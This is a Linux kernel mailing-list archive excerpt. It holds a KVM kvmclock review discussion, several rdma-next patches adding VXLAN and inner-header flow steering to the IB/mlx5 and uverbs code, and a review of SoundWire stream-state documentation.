> > }
> > +#else
> > +static inline bool kvm_get_time_and_clockread(s64 *kernel_ns, cycle_t *cycle_now)
> > +{
> > + return false;
> > +}
> > #endif
> >
> > /*
> > @@ -1724,18 +1729,15 @@ static void kvm_gen_update_masterclock(struct kvm *kvm)
> >
> > static u64 __get_kvmclock_ns(struct kvm *kvm)
> > {
> > - struct kvm_vcpu *vcpu = kvm_get_vcpu(kvm, 0);
> > struct kvm_arch *ka = &kvm->arch;
> > + cycle_t cycle_now;
> > s64 ns;
> >
> > - if (vcpu->arch.hv_clock.flags & PVCLOCK_TSC_STABLE_BIT) {
> > - u64 tsc = kvm_read_l1_tsc(vcpu, rdtsc());
> > - ns = __pvclock_read_cycles(&vcpu->arch.hv_clock, tsc);
>
> This patch regresses the behavior as well, because the assumption that
> kvm_get_time_and_clockread() and __pvclock_read_cycles() count the same
> time doesn't hold. See the end of the message for a quick test.
>
> kvm_get_time_and_clockread() is actually the same as ktime_get_boot_ns()
> (if it works), so we'd be just obfucating the code. :)
>
> I think that making kvmclock count as ktime_get_boot_ns() would be the
> best solution, but not possible this late in 4.9 ...
>
> As a quick hack, I think it would be better to duplicate the update that
> would happen when running the VCPU before calling
> __pvclock_read_cycles(), i.e. paste something like this:
>
> if (kvm_check_request(KVM_REQ_CLOCK_UPDATE, vcpu))
> kvm_guest_time_update(vcpu);
>
> > - } else {
> > - ns = ktime_get_boot_ns() + ka->kvmclock_offset;
> > - }
> > + if (!ka->use_master_clock ||
> > + !kvm_get_time_and_clockread(&ns, &cycle_now))
> > + ns = ktime_get_boot_ns();
> >
> > - return ns;
> > + return ns + ka->kvmclock_offset;
> > }
>
> The hunk below should return the same value in pvclock_ns and kernel_ns
> if they can be used interchangeably. boot_ns is expected to be a bit
> delayed, because it is read late. boot_ns shows a bounded offset from
> kernel_ns, unlike the drifting pvclock_ns.
>
> diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
> index 83990ad3710e..30d4d3d02ac7 100644
> --- a/arch/x86/kvm/x86.c
> +++ b/arch/x86/kvm/x86.c
> @@ -6653,6 +6653,17 @@ static int vcpu_enter_guest(struct kvm_vcpu *vcpu)
> goto cancel_injection;
> }
>
> + if (vcpu->kvm->arch.use_master_clock) {
> + s64 kernel_ns;
> + cycle_t tsc_now, pvclock_ns, boot_ns;
> +
> + kvm_get_time_and_clockread(&kernel_ns, &tsc_now);
> + pvclock_ns = __pvclock_read_cycles(&vcpu->arch.hv_clock, kvm_read_l1_tsc(vcpu, tsc_now)) - vcpu->kvm->arch.kvmclock_offset;
> + boot_ns = ktime_get_boot_ns();
> +
> + printk("ns diff: %lld %lld\n", pvclock_ns - kernel_ns, boot_ns - kernel_ns);
> + }
> +
> preempt_disable();
>
> kvm_x86_ops->prepare_guest_switch(vcpu);
>
> and a sample output:
KVM_GET_CLOCK should return what the guest sees at the moment
KVM_GET_CLOCK is called, which should include
if (vcpu->arch.hv_clock.flags & PVCLOCK_TSC_STABLE_BIT) {
u64 tsc = kvm_read_l1_tsc(vcpu, rdtsc());
ns = __pvclock_read_cycles(&vcpu->arch.hv_clock, tsc);
} else {
ns = ktime_get_boot_ns() + ka->kvmclock_offset;
>>> add (rdtsc() - tsc_timestamp),
if kvmclock is enabled
}
The addition under >>> above.
^ permalink raw reply
* [PATCH rdma-next 6/6] IB/mlx5: Add support to match inner packet fields
From: Leon Romanovsky @ 2016-11-14 17:04 UTC (permalink / raw)
To: dledford-H+wXaHxf7aLQT0dZR+AlfA
Cc: linux-rdma-u79uwXL29TY76Z2rM5mHXA, Leon Romanovsky, Maor Gottlieb,
Moses Reuben
In-Reply-To: <1479143092-11723-1-git-send-email-leonro-VPRAkNaXOzVWk0Htik3J/w@public.gmane.org>
From: Moses Reuben <mosesr-VPRAkNaXOzVWk0Htik3J/w@public.gmane.org>
Add support to match packet fields which are tunneled,
i.e. support matching the header of the inner packet which is the result of
or bit operation of the original header and the IB_FLOW_SPEC_INNER type.
The combination of IB_FLOW_SPEC_INNER | IB_FLOW_SPEC_VXLAN_TUNNEL is not
needed to be checked, because the IB core has this check already.
Signed-off-by: Moses Reuben <mosesr-VPRAkNaXOzVWk0Htik3J/w@public.gmane.org>
Reviewed-by: Maor Gottlieb <maorg-VPRAkNaXOzVWk0Htik3J/w@public.gmane.org>
Signed-off-by: Leon Romanovsky <leon-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>
---
drivers/infiniband/hw/mlx5/main.c | 131 +++++++++++++++++++++++---------------
1 file changed, 78 insertions(+), 53 deletions(-)
diff --git a/drivers/infiniband/hw/mlx5/main.c b/drivers/infiniband/hw/mlx5/main.c
index a833f45..65eb5e0 100644
--- a/drivers/infiniband/hw/mlx5/main.c
+++ b/drivers/infiniband/hw/mlx5/main.c
@@ -1502,6 +1502,22 @@ static void set_proto(void *outer_c, void *outer_v, u8 mask, u8 val)
MLX5_SET(fte_match_set_lyr_2_4, outer_v, ip_protocol, val);
}
+static void set_flow_label(void *misc_c, void *misc_v, u8 mask, u8 val,
+ bool inner)
+{
+ if (inner) {
+ MLX5_SET(fte_match_set_misc,
+ misc_c, inner_ipv6_flow_label, mask);
+ MLX5_SET(fte_match_set_misc,
+ misc_v, inner_ipv6_flow_label, val);
+ } else {
+ MLX5_SET(fte_match_set_misc,
+ misc_c, outer_ipv6_flow_label, mask);
+ MLX5_SET(fte_match_set_misc,
+ misc_v, outer_ipv6_flow_label, val);
+ }
+}
+
static void set_tos(void *outer_c, void *outer_v, u8 mask, u8 val)
{
MLX5_SET(fte_match_set_lyr_2_4, outer_c, ip_ecn, mask);
@@ -1528,155 +1544,164 @@ static void set_tos(void *outer_c, void *outer_v, u8 mask, u8 val)
static int parse_flow_attr(u32 *match_c, u32 *match_v,
const union ib_flow_spec *ib_spec)
{
- void *outer_headers_c = MLX5_ADDR_OF(fte_match_param, match_c,
- outer_headers);
- void *outer_headers_v = MLX5_ADDR_OF(fte_match_param, match_v,
- outer_headers);
void *misc_params_c = MLX5_ADDR_OF(fte_match_param, match_c,
misc_parameters);
void *misc_params_v = MLX5_ADDR_OF(fte_match_param, match_v,
misc_parameters);
+ void *headers_c;
+ void *headers_v;
+
+ if (ib_spec->type & IB_FLOW_SPEC_INNER) {
+ headers_c = MLX5_ADDR_OF(fte_match_param, match_c,
+ inner_headers);
+ headers_v = MLX5_ADDR_OF(fte_match_param, match_v,
+ inner_headers);
+ } else {
+ headers_c = MLX5_ADDR_OF(fte_match_param, match_c,
+ outer_headers);
+ headers_v = MLX5_ADDR_OF(fte_match_param, match_v,
+ outer_headers);
+ }
- switch (ib_spec->type) {
+ switch (ib_spec->type & ~IB_FLOW_SPEC_INNER) {
case IB_FLOW_SPEC_ETH:
if (FIELDS_NOT_SUPPORTED(ib_spec->eth.mask, LAST_ETH_FIELD))
return -ENOTSUPP;
- ether_addr_copy(MLX5_ADDR_OF(fte_match_set_lyr_2_4, outer_headers_c,
+ ether_addr_copy(MLX5_ADDR_OF(fte_match_set_lyr_2_4, headers_c,
dmac_47_16),
ib_spec->eth.mask.dst_mac);
- ether_addr_copy(MLX5_ADDR_OF(fte_match_set_lyr_2_4, outer_headers_v,
+ ether_addr_copy(MLX5_ADDR_OF(fte_match_set_lyr_2_4, headers_v,
dmac_47_16),
ib_spec->eth.val.dst_mac);
- ether_addr_copy(MLX5_ADDR_OF(fte_match_set_lyr_2_4, outer_headers_c,
+ ether_addr_copy(MLX5_ADDR_OF(fte_match_set_lyr_2_4, headers_c,
smac_47_16),
ib_spec->eth.mask.src_mac);
- ether_addr_copy(MLX5_ADDR_OF(fte_match_set_lyr_2_4, outer_headers_v,
+ ether_addr_copy(MLX5_ADDR_OF(fte_match_set_lyr_2_4, headers_v,
smac_47_16),
ib_spec->eth.val.src_mac);
if (ib_spec->eth.mask.vlan_tag) {
- MLX5_SET(fte_match_set_lyr_2_4, outer_headers_c,
+ MLX5_SET(fte_match_set_lyr_2_4, headers_c,
vlan_tag, 1);
- MLX5_SET(fte_match_set_lyr_2_4, outer_headers_v,
+ MLX5_SET(fte_match_set_lyr_2_4, headers_v,
vlan_tag, 1);
- MLX5_SET(fte_match_set_lyr_2_4, outer_headers_c,
+ MLX5_SET(fte_match_set_lyr_2_4, headers_c,
first_vid, ntohs(ib_spec->eth.mask.vlan_tag));
- MLX5_SET(fte_match_set_lyr_2_4, outer_headers_v,
+ MLX5_SET(fte_match_set_lyr_2_4, headers_v,
first_vid, ntohs(ib_spec->eth.val.vlan_tag));
- MLX5_SET(fte_match_set_lyr_2_4, outer_headers_c,
+ MLX5_SET(fte_match_set_lyr_2_4, headers_c,
first_cfi,
ntohs(ib_spec->eth.mask.vlan_tag) >> 12);
- MLX5_SET(fte_match_set_lyr_2_4, outer_headers_v,
+ MLX5_SET(fte_match_set_lyr_2_4, headers_v,
first_cfi,
ntohs(ib_spec->eth.val.vlan_tag) >> 12);
- MLX5_SET(fte_match_set_lyr_2_4, outer_headers_c,
+ MLX5_SET(fte_match_set_lyr_2_4, headers_c,
first_prio,
ntohs(ib_spec->eth.mask.vlan_tag) >> 13);
- MLX5_SET(fte_match_set_lyr_2_4, outer_headers_v,
+ MLX5_SET(fte_match_set_lyr_2_4, headers_v,
first_prio,
ntohs(ib_spec->eth.val.vlan_tag) >> 13);
}
- MLX5_SET(fte_match_set_lyr_2_4, outer_headers_c,
+ MLX5_SET(fte_match_set_lyr_2_4, headers_c,
ethertype, ntohs(ib_spec->eth.mask.ether_type));
- MLX5_SET(fte_match_set_lyr_2_4, outer_headers_v,
+ MLX5_SET(fte_match_set_lyr_2_4, headers_v,
ethertype, ntohs(ib_spec->eth.val.ether_type));
break;
case IB_FLOW_SPEC_IPV4:
if (FIELDS_NOT_SUPPORTED(ib_spec->ipv4.mask, LAST_IPV4_FIELD))
return -ENOTSUPP;
- MLX5_SET(fte_match_set_lyr_2_4, outer_headers_c,
+ MLX5_SET(fte_match_set_lyr_2_4, headers_c,
ethertype, 0xffff);
- MLX5_SET(fte_match_set_lyr_2_4, outer_headers_v,
+ MLX5_SET(fte_match_set_lyr_2_4, headers_v,
ethertype, ETH_P_IP);
- memcpy(MLX5_ADDR_OF(fte_match_set_lyr_2_4, outer_headers_c,
+ memcpy(MLX5_ADDR_OF(fte_match_set_lyr_2_4, headers_c,
src_ipv4_src_ipv6.ipv4_layout.ipv4),
&ib_spec->ipv4.mask.src_ip,
sizeof(ib_spec->ipv4.mask.src_ip));
- memcpy(MLX5_ADDR_OF(fte_match_set_lyr_2_4, outer_headers_v,
+ memcpy(MLX5_ADDR_OF(fte_match_set_lyr_2_4, headers_v,
src_ipv4_src_ipv6.ipv4_layout.ipv4),
&ib_spec->ipv4.val.src_ip,
sizeof(ib_spec->ipv4.val.src_ip));
- memcpy(MLX5_ADDR_OF(fte_match_set_lyr_2_4, outer_headers_c,
+ memcpy(MLX5_ADDR_OF(fte_match_set_lyr_2_4, headers_c,
dst_ipv4_dst_ipv6.ipv4_layout.ipv4),
&ib_spec->ipv4.mask.dst_ip,
sizeof(ib_spec->ipv4.mask.dst_ip));
- memcpy(MLX5_ADDR_OF(fte_match_set_lyr_2_4, outer_headers_v,
+ memcpy(MLX5_ADDR_OF(fte_match_set_lyr_2_4, headers_v,
dst_ipv4_dst_ipv6.ipv4_layout.ipv4),
&ib_spec->ipv4.val.dst_ip,
sizeof(ib_spec->ipv4.val.dst_ip));
- set_tos(outer_headers_c, outer_headers_v,
+ set_tos(headers_c, headers_v,
ib_spec->ipv4.mask.tos, ib_spec->ipv4.val.tos);
- set_proto(outer_headers_c, outer_headers_v,
+ set_proto(headers_c, headers_v,
ib_spec->ipv4.mask.proto, ib_spec->ipv4.val.proto);
break;
case IB_FLOW_SPEC_IPV6:
if (FIELDS_NOT_SUPPORTED(ib_spec->ipv6.mask, LAST_IPV6_FIELD))
return -ENOTSUPP;
- MLX5_SET(fte_match_set_lyr_2_4, outer_headers_c,
+ MLX5_SET(fte_match_set_lyr_2_4, headers_c,
ethertype, 0xffff);
- MLX5_SET(fte_match_set_lyr_2_4, outer_headers_v,
+ MLX5_SET(fte_match_set_lyr_2_4, headers_v,
ethertype, ETH_P_IPV6);
- memcpy(MLX5_ADDR_OF(fte_match_set_lyr_2_4, outer_headers_c,
+ memcpy(MLX5_ADDR_OF(fte_match_set_lyr_2_4, headers_c,
src_ipv4_src_ipv6.ipv6_layout.ipv6),
&ib_spec->ipv6.mask.src_ip,
sizeof(ib_spec->ipv6.mask.src_ip));
- memcpy(MLX5_ADDR_OF(fte_match_set_lyr_2_4, outer_headers_v,
+ memcpy(MLX5_ADDR_OF(fte_match_set_lyr_2_4, headers_v,
src_ipv4_src_ipv6.ipv6_layout.ipv6),
&ib_spec->ipv6.val.src_ip,
sizeof(ib_spec->ipv6.val.src_ip));
- memcpy(MLX5_ADDR_OF(fte_match_set_lyr_2_4, outer_headers_c,
+ memcpy(MLX5_ADDR_OF(fte_match_set_lyr_2_4, headers_c,
dst_ipv4_dst_ipv6.ipv6_layout.ipv6),
&ib_spec->ipv6.mask.dst_ip,
sizeof(ib_spec->ipv6.mask.dst_ip));
- memcpy(MLX5_ADDR_OF(fte_match_set_lyr_2_4, outer_headers_v,
+ memcpy(MLX5_ADDR_OF(fte_match_set_lyr_2_4, headers_v,
dst_ipv4_dst_ipv6.ipv6_layout.ipv6),
&ib_spec->ipv6.val.dst_ip,
sizeof(ib_spec->ipv6.val.dst_ip));
- set_tos(outer_headers_c, outer_headers_v,
+ set_tos(headers_c, headers_v,
ib_spec->ipv6.mask.traffic_class,
ib_spec->ipv6.val.traffic_class);
- set_proto(outer_headers_c, outer_headers_v,
+ set_proto(headers_c, headers_v,
ib_spec->ipv6.mask.next_hdr,
ib_spec->ipv6.val.next_hdr);
- MLX5_SET(fte_match_set_misc, misc_params_c,
- outer_ipv6_flow_label,
- ntohl(ib_spec->ipv6.mask.flow_label));
- MLX5_SET(fte_match_set_misc, misc_params_v,
- outer_ipv6_flow_label,
- ntohl(ib_spec->ipv6.val.flow_label));
+ set_flow_label(misc_params_c, misc_params_v,
+ ntohl(ib_spec->ipv6.mask.flow_label),
+ ntohl(ib_spec->ipv6.val.flow_label),
+ ib_spec->type & IB_FLOW_SPEC_INNER);
+
break;
case IB_FLOW_SPEC_TCP:
if (FIELDS_NOT_SUPPORTED(ib_spec->tcp_udp.mask,
LAST_TCP_UDP_FIELD))
return -ENOTSUPP;
- MLX5_SET(fte_match_set_lyr_2_4, outer_headers_c, ip_protocol,
+ MLX5_SET(fte_match_set_lyr_2_4, headers_c, ip_protocol,
0xff);
- MLX5_SET(fte_match_set_lyr_2_4, outer_headers_v, ip_protocol,
+ MLX5_SET(fte_match_set_lyr_2_4, headers_v, ip_protocol,
IPPROTO_TCP);
- MLX5_SET(fte_match_set_lyr_2_4, outer_headers_c, tcp_sport,
+ MLX5_SET(fte_match_set_lyr_2_4, headers_c, tcp_sport,
ntohs(ib_spec->tcp_udp.mask.src_port));
- MLX5_SET(fte_match_set_lyr_2_4, outer_headers_v, tcp_sport,
+ MLX5_SET(fte_match_set_lyr_2_4, headers_v, tcp_sport,
ntohs(ib_spec->tcp_udp.val.src_port));
- MLX5_SET(fte_match_set_lyr_2_4, outer_headers_c, tcp_dport,
+ MLX5_SET(fte_match_set_lyr_2_4, headers_c, tcp_dport,
ntohs(ib_spec->tcp_udp.mask.dst_port));
- MLX5_SET(fte_match_set_lyr_2_4, outer_headers_v, tcp_dport,
+ MLX5_SET(fte_match_set_lyr_2_4, headers_v, tcp_dport,
ntohs(ib_spec->tcp_udp.val.dst_port));
break;
case IB_FLOW_SPEC_UDP:
@@ -1684,19 +1709,19 @@ static int parse_flow_attr(u32 *match_c, u32 *match_v,
LAST_TCP_UDP_FIELD))
return -ENOTSUPP;
- MLX5_SET(fte_match_set_lyr_2_4, outer_headers_c, ip_protocol,
+ MLX5_SET(fte_match_set_lyr_2_4, headers_c, ip_protocol,
0xff);
- MLX5_SET(fte_match_set_lyr_2_4, outer_headers_v, ip_protocol,
+ MLX5_SET(fte_match_set_lyr_2_4, headers_v, ip_protocol,
IPPROTO_UDP);
- MLX5_SET(fte_match_set_lyr_2_4, outer_headers_c, udp_sport,
+ MLX5_SET(fte_match_set_lyr_2_4, headers_c, udp_sport,
ntohs(ib_spec->tcp_udp.mask.src_port));
- MLX5_SET(fte_match_set_lyr_2_4, outer_headers_v, udp_sport,
+ MLX5_SET(fte_match_set_lyr_2_4, headers_v, udp_sport,
ntohs(ib_spec->tcp_udp.val.src_port));
- MLX5_SET(fte_match_set_lyr_2_4, outer_headers_c, udp_dport,
+ MLX5_SET(fte_match_set_lyr_2_4, headers_c, udp_dport,
ntohs(ib_spec->tcp_udp.mask.dst_port));
- MLX5_SET(fte_match_set_lyr_2_4, outer_headers_v, udp_dport,
+ MLX5_SET(fte_match_set_lyr_2_4, headers_v, udp_dport,
ntohs(ib_spec->tcp_udp.val.dst_port));
break;
case IB_FLOW_SPEC_VXLAN_TUNNEL:
--
2.7.4
--
To unsubscribe from this list: send the line "unsubscribe linux-rdma" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
^ permalink raw reply related
* Re: [RFC 02/14] SoundWire: Add SoundWire stream documentation
From: Charles Keepax @ 2016-11-14 17:04 UTC (permalink / raw)
To: Pierre-Louis Bossart
Cc: Hardik Shah, alsa-devel, linux-kernel, tiwai, broonie, lgirdwood,
plai, patches.audio, Sanyog Kale
In-Reply-To: <b0d67cc6-f7fb-ea61-29b3-02a7f7c0aac3@linux.intel.com>
On Mon, Nov 14, 2016 at 10:50:10AM -0600, Pierre-Louis Bossart wrote:
>
> >>+SoundWire stream states
> >>+=======================
> >>+Below figure shows the SoundWire stream states and possible state
> >>+transition diagram.
> >>+
> >>+|--------------| |-------------| |--------------| |--------------|
> >>+| ALLOC |---->| CONFIG |---->| PREPARE |---->| ENABLE |
> >>+| STATE | | STATE | | STATE | | STATE |
> >>+|--------------| |-------------| |--------------| |--------------|
> >>+ ^ |
> >>+ | |
> >>+ | |
> >>+ | |
> >>+ | \/
> >>+ |--------------| |--------------| |--------------|
> >>+ | RELEASE |<--------------------| DEPREPARE |<----| DISABLE |
> >>+ | STATE | | STATE | | STATE |
> >>+ |--------------| |--------------| |--------------|
> >>+
> >
> >One minor comment, this looks very similar to the clock
> >frameworks state model, but the clock framework calls it
> >unprepare would there be some milage in aligning to?
>
> The SoundWire spec uses de-prepare, e.g. "De-prepare_Finished"
> I'd rather stick to the wording between a spec and the implementation of
> said spec, rather than introduce a term/concept from an unrelated framework.
> >
Cool we should leave that as is then :-)
> >>+4. Once all the new values are programmed, bus initiates switch to
> >>+alternate bank. Once switch is successful, the port channels enabled on
> >>+previous bank for already active streams are disabled.
>
> This last sentence makes no sense in this context, probably a copy/paste
> that shouldn't be there. The previously active streams remain active in this
> prepare step.
>
> >>+
> >>+5. Ports of Master and Slave for current stream are prepared.
> >>+
> >>+After all above operations are successful, stream state is set to
> >>+SDW_STATE_STRM_PREPARE.
> >>+
> >>+
> >>+SDW_STATE_STRM_ENABLE: Enable state of stream. Operations performed
> >>+before entering in this state:
> >>+1. All the values computed in SDW_STATE_STRM_PREPARE state are
> >>+programmed in alternate bank (bank currently unused). It includes
> >>+programming of already active streams as well.
> >>+
> >>+2. All the Master and Slave port channels for the current stream are
> >>+enabled on alternate bank (bank currently unused).
> >>+
> >
> >This could probably use a little more explaination to show how it
> >differs from step 3/4 in PREPARE, as it looks like all the
> >computed values where applied there. I imagine this is just my lack
> >of understanding rather than an actual issue but even looking at
> >the code I am having a little difficulty tying up these two.
>
> Yes, see above there was an extra sentence that isn't right.
>
> >
> >sdw_prepare_op
> >- sdw_compute_params (prepare step 1/2)
> >- sdw_program_params (prepare step 3)
> >- sdw_update_bus_params (prepare step 4)
> >
> >sdw_enable_op
> >- sdw_program_params (enable step 1)
> >- sdw_update_bus_params (enable step 2)
> >
> >It looks like the params are still basically the same as they
> >were when we called sdw_program_params in prepare.
>
> The parameters are the same except for the channel-enable flags which are
> only programmed and activated via a bank switch in the enable step.
Ah ok that is what is getting pushed out there, thanks for
explaining.
Thanks,
Charles
^ permalink raw reply
* [PATCH rdma-next 5/6] IB/core: Introduce inner flow steering
From: Leon Romanovsky @ 2016-11-14 17:04 UTC (permalink / raw)
To: dledford-H+wXaHxf7aLQT0dZR+AlfA
Cc: linux-rdma-u79uwXL29TY76Z2rM5mHXA, Leon Romanovsky, Maor Gottlieb,
Moses Reuben
In-Reply-To: <1479143092-11723-1-git-send-email-leonro-VPRAkNaXOzVWk0Htik3J/w@public.gmane.org>
From: Moses Reuben <mosesr-VPRAkNaXOzVWk0Htik3J/w@public.gmane.org>
For a tunneled packet which contains external and internal headers,
we refer to the external headers as "outer fields" and the internal
headers as "inner fields".
Example of a tunneled packet:
{ L2 | L3 | L4 | tunnel header | L2 | L3 | l4 | data }
| | | | | | |
{ outer fields }{ inner fields }
This patch introduces a new flag for flow steering rules
- IB_FLOW_SPEC_INNER - which specifies that the rule applies
to the inner fields, rather than to the outer fields of the packet.
Signed-off-by: Moses Reuben <mosesr-VPRAkNaXOzVWk0Htik3J/w@public.gmane.org>
Reviewed-by: Maor Gottlieb <maorg-VPRAkNaXOzVWk0Htik3J/w@public.gmane.org>
Signed-off-by: Leon Romanovsky <leon-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>
---
drivers/infiniband/core/uverbs_cmd.c | 4 +++-
include/rdma/ib_verbs.h | 17 +++++++++--------
2 files changed, 12 insertions(+), 9 deletions(-)
diff --git a/drivers/infiniband/core/uverbs_cmd.c b/drivers/infiniband/core/uverbs_cmd.c
index 561010a..10fb325 100644
--- a/drivers/infiniband/core/uverbs_cmd.c
+++ b/drivers/infiniband/core/uverbs_cmd.c
@@ -3124,8 +3124,10 @@ static int kern_spec_to_ib_spec(struct ib_uverbs_flow_spec *kern_spec,
kern_spec_val = (void *)kern_spec +
sizeof(struct ib_uverbs_flow_spec_hdr);
kern_spec_mask = kern_spec_val + kern_filter_sz;
+ if (ib_spec->type == (IB_FLOW_SPEC_INNER | IB_FLOW_SPEC_VXLAN_TUNNEL))
+ return -EINVAL;
- switch (ib_spec->type) {
+ switch (ib_spec->type & ~IB_FLOW_SPEC_INNER) {
case IB_FLOW_SPEC_ETH:
ib_filter_sz = offsetof(struct ib_flow_eth_filter, real_sz);
actual_filter_sz = spec_filter_size(kern_spec_mask,
diff --git a/include/rdma/ib_verbs.h b/include/rdma/ib_verbs.h
index 81c5c80..195a03e 100644
--- a/include/rdma/ib_verbs.h
+++ b/include/rdma/ib_verbs.h
@@ -1601,9 +1601,10 @@ enum ib_flow_spec_type {
IB_FLOW_SPEC_TCP = 0x40,
IB_FLOW_SPEC_UDP = 0x41,
IB_FLOW_SPEC_VXLAN_TUNNEL = 0x50,
+ IB_FLOW_SPEC_INNER = 0x100,
};
#define IB_FLOW_SPEC_LAYER_MASK 0xF0
-#define IB_FLOW_SPEC_SUPPORT_LAYERS 4
+#define IB_FLOW_SPEC_SUPPORT_LAYERS 8
/* Flow steering rule priority is set according to it's domain.
* Lower domain value means higher priority.
@@ -1631,7 +1632,7 @@ struct ib_flow_eth_filter {
};
struct ib_flow_spec_eth {
- enum ib_flow_spec_type type;
+ u32 type;
u16 size;
struct ib_flow_eth_filter val;
struct ib_flow_eth_filter mask;
@@ -1645,7 +1646,7 @@ struct ib_flow_ib_filter {
};
struct ib_flow_spec_ib {
- enum ib_flow_spec_type type;
+ u32 type;
u16 size;
struct ib_flow_ib_filter val;
struct ib_flow_ib_filter mask;
@@ -1670,7 +1671,7 @@ struct ib_flow_ipv4_filter {
};
struct ib_flow_spec_ipv4 {
- enum ib_flow_spec_type type;
+ u32 type;
u16 size;
struct ib_flow_ipv4_filter val;
struct ib_flow_ipv4_filter mask;
@@ -1688,7 +1689,7 @@ struct ib_flow_ipv6_filter {
};
struct ib_flow_spec_ipv6 {
- enum ib_flow_spec_type type;
+ u32 type;
u16 size;
struct ib_flow_ipv6_filter val;
struct ib_flow_ipv6_filter mask;
@@ -1702,7 +1703,7 @@ struct ib_flow_tcp_udp_filter {
};
struct ib_flow_spec_tcp_udp {
- enum ib_flow_spec_type type;
+ u32 type;
u16 size;
struct ib_flow_tcp_udp_filter val;
struct ib_flow_tcp_udp_filter mask;
@@ -1717,7 +1718,7 @@ struct ib_flow_tunnel_filter {
* the tunnel_id from val has the vni value
*/
struct ib_flow_spec_tunnel {
- enum ib_flow_spec_type type;
+ u32 type;
u16 size;
struct ib_flow_tunnel_filter val;
struct ib_flow_tunnel_filter mask;
@@ -1725,7 +1726,7 @@ struct ib_flow_spec_tunnel {
union ib_flow_spec {
struct {
- enum ib_flow_spec_type type;
+ u32 type;
u16 size;
};
struct ib_flow_spec_eth eth;
--
2.7.4
--
To unsubscribe from this list: send the line "unsubscribe linux-rdma" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
^ permalink raw reply related
* [PATCH rdma-next 4/6] IB/mlx5: Support Vxlan tunneling specification
From: Leon Romanovsky @ 2016-11-14 17:04 UTC (permalink / raw)
To: dledford-H+wXaHxf7aLQT0dZR+AlfA
Cc: linux-rdma-u79uwXL29TY76Z2rM5mHXA, Leon Romanovsky, Maor Gottlieb,
Moses Reuben
In-Reply-To: <1479143092-11723-1-git-send-email-leonro-VPRAkNaXOzVWk0Htik3J/w@public.gmane.org>
From: Moses Reuben <mosesr-VPRAkNaXOzVWk0Htik3J/w@public.gmane.org>
Add support to receive specific Vxlan packet in ConnectX-4.
Signed-off-by: Moses Reuben <mosesr-VPRAkNaXOzVWk0Htik3J/w@public.gmane.org>
Reviewed-by: Maor Gottlieb <maorg-VPRAkNaXOzVWk0Htik3J/w@public.gmane.org>
Signed-off-by: Leon Romanovsky <leon-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>
---
drivers/infiniband/hw/mlx5/main.c | 11 +++++++++++
1 file changed, 11 insertions(+)
diff --git a/drivers/infiniband/hw/mlx5/main.c b/drivers/infiniband/hw/mlx5/main.c
index 2217477..a833f45 100644
--- a/drivers/infiniband/hw/mlx5/main.c
+++ b/drivers/infiniband/hw/mlx5/main.c
@@ -1515,6 +1515,7 @@ static void set_tos(void *outer_c, void *outer_v, u8 mask, u8 val)
#define LAST_IPV4_FIELD tos
#define LAST_IPV6_FIELD traffic_class
#define LAST_TCP_UDP_FIELD src_port
+#define LAST_TUNNEL_FIELD tunnel_id
/* Field is the last supported field */
#define FIELDS_NOT_SUPPORTED(filter, field)\
@@ -1698,6 +1699,16 @@ static int parse_flow_attr(u32 *match_c, u32 *match_v,
MLX5_SET(fte_match_set_lyr_2_4, outer_headers_v, udp_dport,
ntohs(ib_spec->tcp_udp.val.dst_port));
break;
+ case IB_FLOW_SPEC_VXLAN_TUNNEL:
+ if (FIELDS_NOT_SUPPORTED(ib_spec->tunnel.mask,
+ LAST_TUNNEL_FIELD))
+ return -ENOTSUPP;
+
+ MLX5_SET(fte_match_set_misc, misc_params_c, vxlan_vni,
+ ntohl(ib_spec->tunnel.mask.tunnel_id));
+ MLX5_SET(fte_match_set_misc, misc_params_v, vxlan_vni,
+ ntohl(ib_spec->tunnel.val.tunnel_id));
+ break;
default:
return -EINVAL;
}
--
2.7.4
--
To unsubscribe from this list: send the line "unsubscribe linux-rdma" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
^ permalink raw reply related
* [PATCH rdma-next 3/6] IB/uverbs: Add support for Vxlan protocol
From: Leon Romanovsky @ 2016-11-14 17:04 UTC (permalink / raw)
To: dledford-H+wXaHxf7aLQT0dZR+AlfA
Cc: linux-rdma-u79uwXL29TY76Z2rM5mHXA, Leon Romanovsky, Maor Gottlieb,
Moses Reuben
In-Reply-To: <1479143092-11723-1-git-send-email-leonro-VPRAkNaXOzVWk0Htik3J/w@public.gmane.org>
From: Moses Reuben <mosesr-VPRAkNaXOzVWk0Htik3J/w@public.gmane.org>
Add ib_uverbs_flow_spec_tunnel to define the rule to match Vxlan,
the type, size, reserved fields are identical to rest of the protocols,
and are used to identify the spec.
The tunnel id is the vni value of the Vxlan protocol, and it is used
as part of the steering rule, it is limited by the mask.
The steering rule configured on the hardware does a match
according to vni and other protocols.
In the same way as rest of the protocols that we match,
the uniq field's of each protocol are represented on
the val and the mask.
Signed-off-by: Moses Reuben <mosesr-VPRAkNaXOzVWk0Htik3J/w@public.gmane.org>
Reviewed-by: Maor Gottlieb <maorg-VPRAkNaXOzVWk0Htik3J/w@public.gmane.org>
Signed-off-by: Leon Romanovsky <leon-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>
---
include/uapi/rdma/ib_user_verbs.h | 17 +++++++++++++++++
1 file changed, 17 insertions(+)
diff --git a/include/uapi/rdma/ib_user_verbs.h b/include/uapi/rdma/ib_user_verbs.h
index 25225eb..90ba5e8 100644
--- a/include/uapi/rdma/ib_user_verbs.h
+++ b/include/uapi/rdma/ib_user_verbs.h
@@ -908,6 +908,23 @@ struct ib_uverbs_flow_spec_ipv6 {
struct ib_uverbs_flow_ipv6_filter mask;
};
+struct ib_uverbs_flow_tunnel_filter {
+ __be32 tunnel_id;
+};
+
+struct ib_uverbs_flow_spec_tunnel {
+ union {
+ struct ib_uverbs_flow_spec_hdr hdr;
+ struct {
+ __u32 type;
+ __u16 size;
+ __u16 reserved;
+ };
+ };
+ struct ib_uverbs_flow_tunnel_filter val;
+ struct ib_uverbs_flow_tunnel_filter mask;
+};
+
struct ib_uverbs_flow_attr {
__u32 type;
__u16 size;
--
2.7.4
--
